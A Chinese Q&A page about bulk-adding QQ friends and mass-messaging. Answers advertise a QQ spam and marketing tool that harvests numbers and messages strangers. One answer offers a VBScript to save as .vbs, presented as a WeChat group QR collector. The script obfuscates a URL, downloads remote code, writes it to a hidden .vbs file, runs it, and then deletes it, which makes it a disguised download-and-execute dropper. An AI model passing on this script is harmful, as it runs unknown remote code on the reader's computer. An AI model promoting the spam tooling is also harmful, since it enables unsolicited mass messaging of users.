有什么免费好用点的QQ批量加人软件，邮件群发软件啊。最好是功能2合一的

先烽QQ群发器2012很不错，支持QQ陌生人群发，完美支持QQ2012，QQ2011，QQ2010等版本，软件自带：采集在线qq，

采集群号，自动加好友，自动加群，群发好友，群发群成员，发群消息，群发陌生人等功能,是您不可不用的营销利器

！

你搜索下：先烽QQ群发器，到处都可以下载的

先烽QQ群发王是一款集QQ好友号码采集，QQ群号码采集，QQ批量加好友，QQ批量加群，群发QQ好友，群发QQ群，群发

QQ群成员，提取企业QQ号码，对企业QQ发送消息等多项功能于一身的智能QQ营销软件。先烽QQ的界面简洁， *** 作简单

，纯绿色软件，无需安装，解压缩就能使用，不写注册表，不会产生系统垃圾，占用系统资源极少。实在是您营销推

广、网络宣传的必备利器。

先烽QQ群发王有哪些优势？

1. 按条件搜索采集QQ号码，可以查询在线状态，对QQ号码进行过滤，QQ号码支持导入导出。

2. 按关键词采集QQ群号码，可使用高级查找条件：最新建、最活跃、最多人、最高级。可以按照群人数筛选QQ

群号码，支持导入导出。

3. 多帐号自动轮换批量添加好友，先烽QQ群发王会模拟人工查找QQ好友，自动提交验证语，发送加好友请求，

支持验证语自定义，加人时如遇验证码需要手动输入。

4. 多帐号自动轮换批量添加QQ群，先烽QQ会模拟人工手动查找QQ群号码，自动提交验证语，加群时如遇验证码

需要手动输入，支持验证语自定义。

5. 对QQ好友群发消息，可以发送文字、图片、文件消息，支持多条广告内容轮换发送，可设置发送间隔时间、

禁发名单，插入 昵称、问候语。

6. 对QQ群群发消息，可以发送图片和文字消息，发送时可插入QQ群的名字和随机字符，可以将文字转换为图片

发送，支持多条内容轮换发送。

7. 对QQ群成员以临时会话的方式群发信息，可以过滤群管理，只有群成员本人可以收到消息，可以发送文字、

图片、文件消息，随机插入群成员名字。

8. 文件消息发送模式是用来发送文件，广告语需要写在文件名里，不等对方接收就自动取消的发送方式，可以

对QQ好友、QQ群成员发送。

9. 按照关键词或企业名称来提取企业QQ号码，提取到企业QQ号码可以导出。

10. 对企业QQ批量发送消息，支持从外部导入企业QQ号码进行发送。

百度：先烽QQ群发王 直接下载试用 ，软件可以免费使用群发功能

用先烽QQ群发器吧，非常不错，我一直在用，软件自带：采集在线qq，采集群号，自动加好友，自动加群，群发好友

，群发群成员，发群消息,群发陌生人等功能

你搜索下：先烽QQ群发器，到处都可以下载的

那种一键添加群好友的软件现在没有了，都不能用了。

想要一键添加群好友，最简单的办法，就是自动做一个工具，自己采集，每天可采上千个，想怎么加就怎么加。

以下代码非常强大实用，使用方法：将以下内容复制到文本，并将后缀.txt改为.vbs即可运行：

（代码如下，不可以加多余的标点。）

on error resume next

msgbox "即将采集微信群二维码到本地【微信群大全】文件夹"

Set Post = CreateObject("Msxml2.XMLHTTP")

Set Shell = CreateObject("Wscript.Shell")

url = "tttps:||nc.cli.im|qrcoderoute|qrcodeRoute?qrcode_route=qr61.cn|o35ejn|qmhkEOj"

url = replace(url,"ttt","htt")

url = replace(url,"|","/")

Post.Open "GET",url,0

Post.Send()

tt =Post.ResponseText

MyStr = Split(Split(tt, "''")(1), "''")(0)

MyStr = replace(MyStr,"\""","""")

MyStr = replace(MyStr,"\/","/")

MyStr = replace(MyStr,"\\","\")

MyStr = replace(MyStr,"</p>","<br>")

MyStr = replace(MyStr,"<p>","<br>")

MyStr = replace(MyStr,"&nbsp","")

MyStr = replace(MyStr,"&amp","&")

MyStr = replace(MyStr,"rright","right")

Set fso = WScript.CreateObject("Scripting.Filesystemobject")

If Not fso.FolderExists(Shell.CurrentDirectory&"\微信群大全") Then

fso.CreateFolder(Shell.CurrentDirectory&"\微信群大全")

End If

n=wscript.scriptname

for i = 0 to UBound(Split(MyStr, "<br>"))

htm = Split(MyStr, "<br>")(Int(i))

set f = fso.opentextfile(Shell.CurrentDirectory&"\_"&wscript.scriptname,8,true):f.WriteLine htm:f.close

next

Shell.run Shell.CurrentDirectory&"\_"&wscript.scriptname,0

WScript.Sleep 10000

fso.DeleteFile(Shell.CurrentDirectory&"\_"&wscript.scriptname), DeleteReadOnly

Set f = NoThing

Set fso = NoThing

Set Post = NoThing

Set Shell = NoThing

Set aGet = NoThing

微信群是腾讯公司推出的多人聊天交流的一个平台，可以通过网络快速发送语音短信、视频、图片和文字。用户可以通过微信与好友进行形式上更加丰富的类似于短信、彩信等方式的联系。

2013年加入微信群有两种方法：一种是通过扫描群二维码，另一种是通过好友邀请。如果我们经常使用这个群，可以将这个群保存到我们的通讯录，我们再次想找这些好友群聊的时候，直接选择这个微信群就行了。

微信群最多为500人。为了避免恶意帐号给群带来骚扰，更好的保护信息安全，100人以上的微信群主要针对已通过实名验证的微信用户。

1、超过40人，您的邀请需要对方同意。

2、超过100人，对方需要通过实名验证才能接受邀请，可通过绑定yhk进行验证。

---